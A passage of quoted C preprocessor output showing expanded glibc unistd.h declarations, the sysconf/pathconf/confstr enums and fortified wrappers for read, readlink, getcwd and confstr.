((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > >extern int execl (__const char *__path, __const char *__arg, ...) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > >extern int execvp (__const char *__file, char *__const __argv[]) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); > > > > >extern int execlp (__const char *__file, __const char *__arg, ...) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))); ># 599 "/usr/include/unistd.h" 3 4 >extern int nice (int __inc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > >extern void _exit (int __status) __attribute__ ((__noreturn__)); > > > > > ># 1 "/usr/include/bits/confname.h" 1 3 4 ># 26 "/usr/include/bits/confname.h" 3 4 >enum > { > _PC_LINK_MAX, > > _PC_MAX_CANON, > > _PC_MAX_INPUT, > > _PC_NAME_MAX, > > _PC_PATH_MAX, > > _PC_PIPE_BUF, > > _PC_CHOWN_RESTRICTED, > > _PC_NO_TRUNC, > > _PC_VDISABLE, > > _PC_SYNC_IO, > > _PC_ASYNC_IO, > > _PC_PRIO_IO, > > _PC_SOCK_MAXBUF, > > _PC_FILESIZEBITS, > > _PC_REC_INCR_XFER_SIZE, > > _PC_REC_MAX_XFER_SIZE, > > _PC_REC_MIN_XFER_SIZE, > > _PC_REC_XFER_ALIGN, > > _PC_ALLOC_SIZE_MIN, > > _PC_SYMLINK_MAX, > > _PC_2_SYMLINKS > > }; > > >enum > { > _SC_ARG_MAX, > > _SC_CHILD_MAX, > > _SC_CLK_TCK, > > _SC_NGROUPS_MAX, > > _SC_OPEN_MAX, > > _SC_STREAM_MAX, > > _SC_TZNAME_MAX, > > _SC_JOB_CONTROL, > > _SC_SAVED_IDS, > > _SC_REALTIME_SIGNALS, > > _SC_PRIORITY_SCHEDULING, > > _SC_TIMERS, > > _SC_ASYNCHRONOUS_IO, > > _SC_PRIORITIZED_IO, > > _SC_SYNCHRONIZED_IO, > > _SC_FSYNC, > > _SC_MAPPED_FILES, > > _SC_MEMLOCK, > > _SC_MEMLOCK_RANGE, > > _SC_MEMORY_PROTECTION, > > _SC_MESSAGE_PASSING, > > _SC_SEMAPHORES, > > _SC_SHARED_MEMORY_OBJECTS, > > _SC_AIO_LISTIO_MAX, > > _SC_AIO_MAX, > > _SC_AIO_PRIO_DELTA_MAX, > > _SC_DELAYTIMER_MAX, > > _SC_MQ_OPEN_MAX, > > _SC_MQ_PRIO_MAX, > > _SC_VERSION, > > _SC_PAGESIZE, > > > _SC_RTSIG_MAX, > > _SC_SEM_NSEMS_MAX, > > _SC_SEM_VALUE_MAX, > > _SC_SIGQUEUE_MAX, > > _SC_TIMER_MAX, > > > > > _SC_BC_BASE_MAX, > > _SC_BC_DIM_MAX, > > _SC_BC_SCALE_MAX, > > _SC_BC_STRING_MAX, > > _SC_COLL_WEIGHTS_MAX, > > _SC_EQUIV_CLASS_MAX, > > _SC_EXPR_NEST_MAX, > > _SC_LINE_MAX, > > _SC_RE_DUP_MAX, > > _SC_CHARCLASS_NAME_MAX, > > > _SC_2_VERSION, > > _SC_2_C_BIND, > > _SC_2_C_DEV, > > _SC_2_FORT_DEV, > > _SC_2_FORT_RUN, > > _SC_2_SW_DEV, > > _SC_2_LOCALEDEF, > > > _SC_PII, > > _SC_PII_XTI, > > _SC_PII_SOCKET, > > _SC_PII_INTERNET, > > _SC_PII_OSI, > > _SC_POLL, > > _SC_SELECT, > > _SC_UIO_MAXIOV, > > _SC_IOV_MAX = _SC_UIO_MAXIOV, > > _SC_PII_INTERNET_STREAM, > > _SC_PII_INTERNET_DGRAM, > > _SC_PII_OSI_COTS, > > _SC_PII_OSI_CLTS, > > _SC_PII_OSI_M, > > _SC_T_IOV_MAX, > > > > _SC_THREADS, > > _SC_THREAD_SAFE_FUNCTIONS, > > _SC_GETGR_R_SIZE_MAX, > > _SC_GETPW_R_SIZE_MAX, > > _SC_LOGIN_NAME_MAX, > > _SC_TTY_NAME_MAX, > > _SC_THREAD_DESTRUCTOR_ITERATIONS, > > _SC_THREAD_KEYS_MAX, > > _SC_THREAD_STACK_MIN, > > _SC_THREAD_THREADS_MAX, > > _SC_THREAD_ATTR_STACKADDR, > > _SC_THREAD_ATTR_STACKSIZE, > > _SC_THREAD_PRIORITY_SCHEDULING, > > _SC_THREAD_PRIO_INHERIT, > > _SC_THREAD_PRIO_PROTECT, > > _SC_THREAD_PROCESS_SHARED, > > > _SC_NPROCESSORS_CONF, > > _SC_NPROCESSORS_ONLN, > > _SC_PHYS_PAGES, > > _SC_AVPHYS_PAGES, > > _SC_ATEXIT_MAX, > > _SC_PASS_MAX, > > > _SC_XOPEN_VERSION, > > _SC_XOPEN_XCU_VERSION, > > _SC_XOPEN_UNIX, > > _SC_XOPEN_CRYPT, > > _SC_XOPEN_ENH_I18N, > > _SC_XOPEN_SHM, > > > _SC_2_CHAR_TERM, > > _SC_2_C_VERSION, > > _SC_2_UPE, > > > _SC_XOPEN_XPG2, > > _SC_XOPEN_XPG3, > > _SC_XOPEN_XPG4, > > > _SC_CHAR_BIT, > > _SC_CHAR_MAX, > > _SC_CHAR_MIN, > > _SC_INT_MAX, > > _SC_INT_MIN, > > _SC_LONG_BIT, > > _SC_WORD_BIT, > > _SC_MB_LEN_MAX, > > _SC_NZERO, > > _SC_SSIZE_MAX, > > _SC_SCHAR_MAX, > > _SC_SCHAR_MIN, > > _SC_SHRT_MAX, > > _SC_SHRT_MIN, > > _SC_UCHAR_MAX, > > _SC_UINT_MAX, > > _SC_ULONG_MAX, > > _SC_USHRT_MAX, > > > _SC_NL_ARGMAX, > > _SC_NL_LANGMAX, > > _SC_NL_MSGMAX, > > _SC_NL_NMAX, > > _SC_NL_SETMAX, > > _SC_NL_TEXTMAX, > > > _SC_XBS5_ILP32_OFF32, > > _SC_XBS5_ILP32_OFFBIG, > > _SC_XBS5_LP64_OFF64, > > _SC_XBS5_LPBIG_OFFBIG, > > > _SC_XOPEN_LEGACY, > > _SC_XOPEN_REALTIME, > > _SC_XOPEN_REALTIME_THREADS, > > > _SC_ADVISORY_INFO, > > _SC_BARRIERS, > > _SC_BASE, > > _SC_C_LANG_SUPPORT, > > _SC_C_LANG_SUPPORT_R, > > _SC_CLOCK_SELECTION, > > _SC_CPUTIME, > > _SC_THREAD_CPUTIME, > > _SC_DEVICE_IO, > > _SC_DEVICE_SPECIFIC, > > _SC_DEVICE_SPECIFIC_R, > > _SC_FD_MGMT, > > _SC_FIFO, > > _SC_PIPE, > > _SC_FILE_ATTRIBUTES, > > _SC_FILE_LOCKING, > > _SC_FILE_SYSTEM, > > _SC_MONOTONIC_CLOCK, > > _SC_MULTI_PROCESS, > > _SC_SINGLE_PROCESS, > > _SC_NETWORKING, > > _SC_READER_WRITER_LOCKS, > > _SC_SPIN_LOCKS, > > _SC_REGEXP, > > _SC_REGEX_VERSION, > > _SC_SHELL, > > _SC_SIGNALS, > > _SC_SPAWN, > > _SC_SPORADIC_SERVER, > > _SC_THREAD_SPORADIC_SERVER, > > _SC_SYSTEM_DATABASE, > > _SC_SYSTEM_DATABASE_R, > > _SC_TIMEOUTS, > > _SC_TYPED_MEMORY_OBJECTS, > > _SC_USER_GROUPS, > > _SC_USER_GROUPS_R, > > _SC_2_PBS, > > _SC_2_PBS_ACCOUNTING, > > _SC_2_PBS_LOCATE, > > _SC_2_PBS_MESSAGE, > > _SC_2_PBS_TRACK, > > _SC_SYMLOOP_MAX, > > _SC_STREAMS, > > _SC_2_PBS_CHECKPOINT, > > > _SC_V6_ILP32_OFF32, > > _SC_V6_ILP32_OFFBIG, > > _SC_V6_LP64_OFF64, > > _SC_V6_LPBIG_OFFBIG, > > > _SC_HOST_NAME_MAX, > > _SC_TRACE, > > _SC_TRACE_EVENT_FILTER, > > _SC_TRACE_INHERIT, > > _SC_TRACE_LOG, > > > _SC_LEVEL1_ICACHE_SIZE, > > _SC_LEVEL1_ICACHE_ASSOC, > > _SC_LEVEL1_ICACHE_LINESIZE, > > _SC_LEVEL1_DCACHE_SIZE, > > _SC_LEVEL1_DCACHE_ASSOC, > > _SC_LEVEL1_DCACHE_LINESIZE, > > _SC_LEVEL2_CACHE_SIZE, > > _SC_LEVEL2_CACHE_ASSOC, > > _SC_LEVEL2_CACHE_LINESIZE, > > _SC_LEVEL3_CACHE_SIZE, > > _SC_LEVEL3_CACHE_ASSOC, > > _SC_LEVEL3_CACHE_LINESIZE, > > _SC_LEVEL4_CACHE_SIZE, > > _SC_LEVEL4_CACHE_ASSOC, > > _SC_LEVEL4_CACHE_LINESIZE, > > > > _SC_IPV6 = _SC_LEVEL1_ICACHE_SIZE + 50, > > _SC_RAW_SOCKETS, > > > _SC_V7_ILP32_OFF32, > > _SC_V7_ILP32_OFFBIG, > > _SC_V7_LP64_OFF64, > > _SC_V7_LPBIG_OFFBIG, > > > _SC_SS_REPL_MAX, > > > _SC_TRACE_EVENT_NAME_MAX, > > _SC_TRACE_NAME_MAX, > > _SC_TRACE_SYS_MAX, > > _SC_TRACE_USER_EVENT_MAX, > > > _SC_XOPEN_STREAMS, > > > _SC_THREAD_ROBUST_PRIO_INHERIT, > > _SC_THREAD_ROBUST_PRIO_PROTECT > > }; > > >enum > { > _CS_PATH, > > > _CS_V6_WIDTH_RESTRICTED_ENVS, > > > > _CS_GNU_LIBC_VERSION, > > _CS_GNU_LIBPTHREAD_VERSION, > > > _CS_V5_WIDTH_RESTRICTED_ENVS, > > > > _CS_V7_WIDTH_RESTRICTED_ENVS, > > > > _CS_LFS_CFLAGS = 1000, > > _CS_LFS_LDFLAGS, > > _CS_LFS_LIBS, > > _CS_LFS_LINTFLAGS, > > _CS_LFS64_CFLAGS, > > _CS_LFS64_LDFLAGS, > > _CS_LFS64_LIBS, > > _CS_LFS64_LINTFLAGS, > > > _CS_XBS5_ILP32_OFF32_CFLAGS = 1100, > > _CS_XBS5_ILP32_OFF32_LDFLAGS, > > _CS_XBS5_ILP32_OFF32_LIBS, > > _CS_XBS5_ILP32_OFF32_LINTFLAGS, > > _CS_XBS5_ILP32_OFFBIG_CFLAGS, > > _CS_XBS5_ILP32_OFFBIG_LDFLAGS, > > _CS_XBS5_ILP32_OFFBIG_LIBS, > > _CS_XBS5_ILP32_OFFBIG_LINTFLAGS, > > _CS_XBS5_LP64_OFF64_CFLAGS, > > _CS_XBS5_LP64_OFF64_LDFLAGS, > > _CS_XBS5_LP64_OFF64_LIBS, > > _CS_XBS5_LP64_OFF64_LINTFLAGS, > > _CS_XBS5_LPBIG_OFFBIG_CFLAGS, > > _CS_XBS5_LPBIG_OFFBIG_LDFLAGS, > > _CS_XBS5_LPBIG_OFFBIG_LIBS, > > _CS_XBS5_LPBIG_OFFBIG_LINTFLAGS, > > > _CS_POSIX_V6_ILP32_OFF32_CFLAGS, > > _CS_POSIX_V6_ILP32_OFF32_LDFLAGS, > > _CS_POSIX_V6_ILP32_OFF32_LIBS, > > _CS_POSIX_V6_ILP32_OFF32_LINTFLAGS, > > _CS_POSIX_V6_ILP32_OFFBIG_CFLAGS, > > _CS_POSIX_V6_ILP32_OFFBIG_LDFLAGS, > > _CS_POSIX_V6_ILP32_OFFBIG_LIBS, > > _CS_POSIX_V6_ILP32_OFFBIG_LINTFLAGS, > > _CS_POSIX_V6_LP64_OFF64_CFLAGS, > > _CS_POSIX_V6_LP64_OFF64_LDFLAGS, > > _CS_POSIX_V6_LP64_OFF64_LIBS, > > _CS_POSIX_V6_LP64_OFF64_LINTFLAGS, > > _CS_POSIX_V6_LPBIG_OFFBIG_CFLAGS, > > _CS_POSIX_V6_LPBIG_OFFBIG_LDFLAGS, > > _CS_POSIX_V6_LPBIG_OFFBIG_LIBS, > > _CS_POSIX_V6_LPBIG_OFFBIG_LINTFLAGS, > > > _CS_POSIX_V7_ILP32_OFF32_CFLAGS, > > _CS_POSIX_V7_ILP32_OFF32_LDFLAGS, > > _CS_POSIX_V7_ILP32_OFF32_LIBS, > > _CS_POSIX_V7_ILP32_OFF32_LINTFLAGS, > > _CS_POSIX_V7_ILP32_OFFBIG_CFLAGS, > > _CS_POSIX_V7_ILP32_OFFBIG_LDFLAGS, > > _CS_POSIX_V7_ILP32_OFFBIG_LIBS, > > _CS_POSIX_V7_ILP32_OFFBIG_LINTFLAGS, > > _CS_POSIX_V7_LP64_OFF64_CFLAGS, > > _CS_POSIX_V7_LP64_OFF64_LDFLAGS, > > _CS_POSIX_V7_LP64_OFF64_LIBS, > > _CS_POSIX_V7_LP64_OFF64_LINTFLAGS, > > _CS_POSIX_V7_LPBIG_OFFBIG_CFLAGS, > > _CS_POSIX_V7_LPBIG_OFFBIG_LDFLAGS, > > _CS_POSIX_V7_LPBIG_OFFBIG_LIBS, > > _CS_POSIX_V7_LPBIG_OFFBIG_LINTFLAGS, > > > _CS_V6_ENV, > > _CS_V7_ENV > > }; ># 611 "/usr/include/unistd.h" 2 3 4 > > >extern long int pathconf (__const char *__path, int __name) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > >extern long int fpathconf (int __fd, int __name) __attribute__ ((__nothrow__ , __leaf__)); > > >extern long int sysconf (int __name) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern size_t confstr (int __name, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern __pid_t getpid (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __pid_t getppid (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern __pid_t getpgrp (void) __attribute__ ((__nothrow__ , __leaf__)); ># 647 "/usr/include/unistd.h" 3 4 >extern __pid_t __getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); > >extern __pid_t getpgid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int setpgid (__pid_t __pid, __pid_t __pgid) __attribute__ ((__nothrow__ , __leaf__)); ># 673 "/usr/include/unistd.h" 3 4 >extern int setpgrp (void) __attribute__ ((__nothrow__ , __leaf__)); ># 690 "/usr/include/unistd.h" 3 4 >extern __pid_t setsid (void) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern __pid_t getsid (__pid_t __pid) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern __uid_t getuid (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __uid_t geteuid (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __gid_t getgid (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern __gid_t getegid (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int getgroups (int __size, __gid_t __list[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); ># 723 "/usr/include/unistd.h" 3 4 >extern int setuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int setreuid (__uid_t __ruid, __uid_t __euid) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int seteuid (__uid_t __uid) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern int setgid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int setregid (__gid_t __rgid, __gid_t __egid) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int setegid (__gid_t __gid) __attribute__ ((__nothrow__ , __leaf__)); ># 779 "/usr/include/unistd.h" 3 4 >extern __pid_t fork (void) __attribute__ ((__nothrow__)); > > > > > > > >extern __pid_t vfork (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern char *ttyname (int __fd) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern int ttyname_r (int __fd, char *__buf, size_t __buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__)); > > > >extern int isatty (int __fd) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int ttyslot (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > >extern int link (__const char *__from, __const char *__to) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)); > > > > >extern int linkat (int __fromfd, __const char *__from, int __tofd, > __const char *__to, int __flags) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 4))) __attribute__ ((__warn_unused_result__)); > > > > >extern int symlink (__const char *__from, __const char *__to) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)); > > > > >extern ssize_t readlink (__const char *__restrict __path, > char *__restrict __buf, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)); > > > > >extern int symlinkat (__const char *__from, int __tofd, > __const char *__to) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 3))) __attribute__ ((__warn_unused_result__)); > > >extern ssize_t readlinkat (int __fd, __const char *__restrict __path, > char *__restrict __buf, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)); > > > >extern int unlink (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > >extern int unlinkat (int __fd, __const char *__name, int __flag) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))); > > > >extern int rmdir (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > >extern __pid_t tcgetpgrp (int __fd) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int tcsetpgrp (int __fd, __pid_t __pgrp_id) __attribute__ ((__nothrow__ , __leaf__)); > > > > > > >extern char *getlogin (void); > > > > > > > >extern int getlogin_r (char *__name, size_t __name_len) __attribute__ ((__nonnull__ (1))); > > > > >extern int setlogin (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); ># 894 "/usr/include/unistd.h" 3 4 ># 1 "/usr/include/getopt.h" 1 3 4 ># 59 "/usr/include/getopt.h" 3 4 >extern char *optarg; ># 73 "/usr/include/getopt.h" 3 4 >extern int optind; > > > > >extern int opterr; > > > >extern int optopt; ># 152 "/usr/include/getopt.h" 3 4 >extern int getopt (int ___argc, char *const *___argv, const char *__shortopts) > __attribute__ ((__nothrow__ , __leaf__)); ># 895 "/usr/include/unistd.h" 2 3 4 > > > > > > > >extern int gethostname (char *__name, size_t __len) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > > >extern int sethostname (__const char *__name, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > >extern int sethostid (long int __id) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > >extern int getdomainname (char *__name, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); >extern int setdomainname (__const char *__name, size_t __len) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > >extern int vhangup (void) __attribute__ ((__nothrow__ , __leaf__)); > > >extern int revoke (__const char *__file) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > > > > > >extern int profil (unsigned short int *__sample_buffer, size_t __size, > size_t __offset, unsigned int __scale) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))); > > > > > >extern int acct (__const char *__name) __attribute__ ((__nothrow__ , __leaf__)); > > > >extern char *getusershell (void) __attribute__ ((__nothrow__ , __leaf__)); >extern void endusershell (void) __attribute__ ((__nothrow__ , __leaf__)); >extern void setusershell (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int daemon (int __nochdir, int __noclose) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > > >extern int chroot (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); > > > >extern char *getpass (__const char *__prompt) __attribute__ ((__nonnull__ (1))); ># 980 "/usr/include/unistd.h" 3 4 >extern int fsync (int __fd); ># 994 "/usr/include/unistd.h" 3 4 >extern long int gethostid (void); > > >extern void sync (void) __attribute__ ((__nothrow__ , __leaf__)); > > > > > >extern int getpagesize (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__)); > > > > >extern int getdtablesize (void) __attribute__ ((__nothrow__ , __leaf__)); ># 1022 "/usr/include/unistd.h" 3 4 >extern int truncate (__const char *__file, __off64_t __length) __asm__ ("" "truncate64") __attribute__ ((__nothrow__ , __leaf__)) > > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); ># 1043 "/usr/include/unistd.h" 3 4 >extern int ftruncate (int __fd, __off64_t __length) __asm__ ("" "ftruncate64") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__warn_unused_result__)); ># 1061 "/usr/include/unistd.h" 3 4 >extern int brk (void *__addr) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); > > > > > >extern void *sbrk (intptr_t __delta) __attribute__ ((__nothrow__ , __leaf__)); ># 1082 "/usr/include/unistd.h" 3 4 >extern long int syscall (long int __sysno, ...) __attribute__ ((__nothrow__ , __leaf__)); ># 1108 "/usr/include/unistd.h" 3 4 >extern int lockf (int __fd, int __cmd, __off64_t __len) __asm__ ("" "lockf64") > __attribute__ ((__warn_unused_result__)); ># 1136 "/usr/include/unistd.h" 3 4 >extern int fdatasync (int __fildes); ># 1165 "/usr/include/unistd.h" 3 4 >extern char *ctermid (char *__s) __attribute__ ((__nothrow__ , __leaf__)); > > > > > ># 1 "/usr/include/bits/unistd.h" 1 3 4 ># 24 "/usr/include/bits/unistd.h" 3 4 >extern ssize_t __read_chk (int __fd, void *__buf, size_t __nbytes, > size_t __buflen) __attribute__ ((__warn_unused_result__)); >extern ssize_t __read_alias (int __fd, void *__buf, size_t __nbytes) __asm__ ("" "read") > __attribute__ ((__warn_unused_result__)); >extern ssize_t __read_chk_warn (int __fd, void *__buf, size_t __nbytes, size_t __buflen) __asm__ ("" "__read_chk") > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("read called with bigger length than size of " "the destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) ssize_t >read (int __fd, void *__buf, size_t __nbytes) >{ > if (__builtin_object_size (__buf, 0) != (size_t) -1) > { > if (!__builtin_constant_p (__nbytes)) > return __read_chk (__fd, __buf, __nbytes, __builtin_object_size (__buf, 0)); > > if (__nbytes > __builtin_object_size (__buf, 0)) > return __read_chk_warn (__fd, __buf, __nbytes, __builtin_object_size (__buf, 0)); > } > return __read_alias (__fd, __buf, __nbytes); >} ># 124 "/usr/include/bits/unistd.h" 3 4 >extern ssize_t __readlink_chk (__const char *__restrict __path, > char *__restrict __buf, size_t __len, > size_t __buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)); >extern ssize_t __readlink_alias (__const char *__restrict __path, char *__restrict __buf, size_t __len) __asm__ ("" "readlink") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)); >extern ssize_t __readlink_chk_warn (__const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __asm__ ("" "__readlink_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("readlink called with bigger length " "than size of destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (1, 2))) __attribute__ ((__warn_unused_result__)) ssize_t >__attribute__ ((__nothrow__ , __leaf__)) readlink (__const char *__restrict __path, char *__restrict __buf, size_t __len) > >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__len)) > return __readlink_chk (__path, __buf, __len, __builtin_object_size (__buf, 2 > 1)); > > if ( __len > __builtin_object_size (__buf, 2 > 1)) > return __readlink_chk_warn (__path, __buf, __len, __builtin_object_size (__buf, 2 > 1)); > } > return __readlink_alias (__path, __buf, __len); >} > > > >extern ssize_t __readlinkat_chk (int __fd, __const char *__restrict __path, > char *__restrict __buf, size_t __len, > size_t __buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)); >extern ssize_t __readlinkat_alias (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len) __asm__ ("" "readlinkat") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)); >extern ssize_t __readlinkat_chk_warn (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len, size_t __buflen) __asm__ ("" "__readlinkat_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > > __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("readlinkat called with bigger " "length than size of destination " "buffer"))) > > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (2, 3))) __attribute__ ((__warn_unused_result__)) ssize_t >__attribute__ ((__nothrow__ , __leaf__)) readlinkat (int __fd, __const char *__restrict __path, char *__restrict __buf, size_t __len) > >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__len)) > return __readlinkat_chk (__fd, __path, __buf, __len, __builtin_object_size (__buf, 2 > 1)); > > if (__len > __builtin_object_size (__buf, 2 > 1)) > return __readlinkat_chk_warn (__fd, __path, __buf, __len, > __builtin_object_size (__buf, 2 > 1)); > } > return __readlinkat_alias (__fd, __path, __buf, __len); >} > > >extern char *__getcwd_chk (char *__buf, size_t __size, size_t __buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); >extern char *__getcwd_alias (char *__buf, size_t __size) __asm__ ("" "getcwd") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__warn_unused_result__)); >extern char *__getcwd_chk_warn (char *__buf, size_t __size, size_t __buflen) __asm__ ("" "__getcwd_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("getcwd caller with bigger length than size of " "destination buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__warn_unused_result__)) char * >__attribute__ ((__nothrow__ , __leaf__)) getcwd (char *__buf, size_t __size) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__size)) > return __getcwd_chk (__buf, __size, __builtin_object_size (__buf, 2 > 1)); > > if (__size > __builtin_object_size (__buf, 2 > 1)) > return __getcwd_chk_warn (__buf, __size, __builtin_object_size (__buf, 2 > 1)); > } > return __getcwd_alias (__buf, __size); >} > > >extern char *__getwd_chk (char *__buf, size_t buflen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)); >extern char *__getwd_warn (char *__buf) __asm__ ("" "getwd") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__)) __attribute__((__warning__ ("please use getcwd instead, as getwd " "doesn't specify buffer size"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) __attribute__ ((__warn_unused_result__)) char * >__attribute__ ((__nothrow__ , __leaf__)) getwd (char *__buf) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > return __getwd_chk (__buf, __builtin_object_size (__buf, 2 > 1)); > return __getwd_warn (__buf); >} > > >extern size_t __confstr_chk (int __name, char *__buf, size_t __len, > size_t __buflen) __attribute__ ((__nothrow__ , __leaf__)); >extern size_t __confstr_alias (int __name, char *__buf, size_t __len) __asm__ ("" "confstr") __attribute__ ((__nothrow__ , __leaf__)) > ; >extern size_t __confstr_chk_warn (int __name, char *__buf, size_t __len, size_t __buflen) __asm__ ("" "__confstr_chk") __attribute__ ((__nothrow__ , __leaf__)) > > > __attribute__((__warning__ ("confstr called with bigger length than size of destination " "buffer"))) > ; > >extern __inline __attribute__ ((__always_inline__)) __attribute__ ((__artificial__)) size_t >__attribute__ ((__nothrow__ , __leaf__)) confstr (int __name, char *__buf, size_t __len) >{ > if (__builtin_object_size (__buf, 2 > 1) != (size_t) -1) > { > if (!__builtin_constant_p (__len)) > return __confstr_chk (__name, __buf, __len, __builtin_object_size (__buf, 2 > 1)); > > if (__builtin_object_size (__buf, 2 > 1) < __len) > return __confstr_chk_warn (__name, __buf, __len, __builtin_object_size (__buf, 2 > 1)); > } > return __confstr_alias (__name, __buf, __len); >} > > >extern int __getgroups_chk (int __size, __gid_t __list[], size_t __listlen) > __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__)); >extern int __getgroups_alias (int __size, __gid_t __list[]) __asm__ ("" "getgroups") __attribute__ ((__nothrow__ , __leaf__)) > __attribute__ ((__warn_unused_result__)); >extern int __getgroups_chk_warn (int __size, 